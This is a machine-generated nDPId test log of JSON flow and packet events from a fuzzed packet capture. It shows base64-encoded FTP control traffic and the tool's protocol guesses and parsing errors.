+00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1120469635052,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.65.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":52210,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AODtAW69ADBUADRWCABFEABReRRAADkGcPGT6gH9wKhBAgAVCqDlH5dFr53DLFAYYzYwqgAAMjMwIEd1ZXN0IGFjY2VzcyBncmFudGVkIGZvciBhbm9ueW1vdSVzAAo="} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":53223,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CADFAAAwabhAAIAGOX7AqAECk+oB\/QqgABWvncMs5R+XblAYP7tMeAAAVFlQRSBJDQo="} +00165{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":78,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1120469635105,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"84.168.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":105699,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"AODtAW69ADBUADRWCABFEAA7eRVAADkGcQaT6gH9VKgBAgAVCqDlH5dur53DNFAYYzYlcwAAMjAwIFR5cGUgc2V0IHRvIEkNCg=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1120469635106,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":1,"l3_proto":"ip4","src_ip":"192.112.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":106172,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ADBUADRWAODtAW69CABFAAAuablAAIAGOX\/AcAECk+oB\/QqgABWvncM05R+XgVAYP6htwgAAUEFTVg0K"} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":127552,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":81,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":72} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1120469635128,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.117.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":128754,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"ADBUADRWAODtAW6zCABFAAA7aU1AAIAGOXHAqAECk3UB\/QqgABWvHcM65R+X+lAYP3SxkwAAUkVUUiBTaXRlJXMAdC54bWwNCg=="} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":129222,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":62,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAB6abtAAIAGOXvAqAEGk+oB\/Qqh5ncb6piKAAAAAHACQABGAAAAAgQFtAkBBAI="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":83,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":28} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":147102,"pkt_caplen":99,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":84,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1120469635152,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"37.115.0.253","dst_ip":"192.168.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":152654,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AODtAW69ADBUADRWCABFAAAweRhAADkGcR4lcwD9wKgBAuZ3CqHlIbocG+qYi3ASYzaDqwAAAQEEAgIEBYM="} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":152721,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":42,"pkt_len":54,"pkt_l4_len":12,"pkt":"ADBUADRWAODtAW69CABHAAAoabxAAIAGOYLAqAECk+oB\/Qqh5ncb6piL5SG6HVAQQiTRUAAA"} +00193{"basic_event_id":12,"basic_event_name":"TCP packet smaller than expected","thread_id":0,"packet_id":86,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","header_len":54,"expected":62} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1120469635153,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2721,"dst_port":58999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":153018,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoab1AAIAGOYHAqAECk+oB\/Qqh5ncb6piL5SG6HVARQiTRTwAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1120469635173,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.232.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":173643,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AODtAW69ADBUADRWCABFAAAoeRlAADkGcSWT6gH9wOgBAuZ3CqHlIbodG+qYjFAQYzawPQAAAAAAAAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1120469635179,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"37.115.0.2","dst_ip":"147.234.1.253","src_port":2639,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469635,"pkt_ts_usec":179061,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADBUADRWAODtAW69CABFAAAoacBAAIAGOX4lcwACk+oB\/QpPABWvncNU5R+X8VAQPzkeUQAA"} +00480{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469637,"pkt_ts_usec":88295,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOacEAAIARTIzAqAECwKgB\/wCJAIkAGluqhPEBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVKRUJFSkVPQ0FDQUNBQ0FDQXZNAAAgAAE="} +00481{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469637,"pkt_ts_usec":833975,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOacIAAIARTIvAqAECwKgB\/wCJAIkAOluqhPEBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":97,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469638,"pkt_ts_usec":585059,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/7\/\/AODtAW69CABFAABeacMAAIARTIrAqAECwKgB\/wCJAIkAOluqhPEBEAABAAAAAAB0IEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00185{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":97,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00592{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1120469635042,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.2.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1120469635042,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.2.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1120469635179,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"37.115.0.2","dst_ip":"147.234.1.253","src_port":2639,"dst_port":21,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1120469635179,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"37.115.0.2","dst_ip":"147.234.1.253","src_port":2639,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1120469635128,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.117.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1120469635128,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.117.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1120469635049,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":1045,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1120469635049,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":1045,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00508{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1120469635045,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"147.234.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1120469635045,"flow_last_seen":0,"flow_tot_l4_data_len":79,"flow_min_l4_data_len":79,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"147.234.1.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1120469635046,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2208,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1120469635046,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.1.2","src_port":21,"dst_port":2208,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1120469635173,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.232.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1120469635173,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.232.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1120469635153,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2721,"dst_port":58999,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1120469635153,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2721,"dst_port":58999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1120469635152,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"37.115.0.253","dst_ip":"192.168.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1120469635152,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"37.115.0.253","dst_ip":"192.168.1.2","src_port":58999,"dst_port":2721,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1120469635105,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"84.168.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1120469635105,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"84.168.1.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00599{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1120469635012,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2679,"dst_port":21,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"d0xa!","auth_failed":0}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1120469635012,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2679,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1120469635052,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.65.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1120469635052,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":1,"l3_proto":"ip4","src_ip":"147.234.1.253","dst_ip":"192.168.65.2","src_port":21,"dst_port":2720,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":100,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1120469635106,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":1,"l3_proto":"ip4","src_ip":"192.112.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} 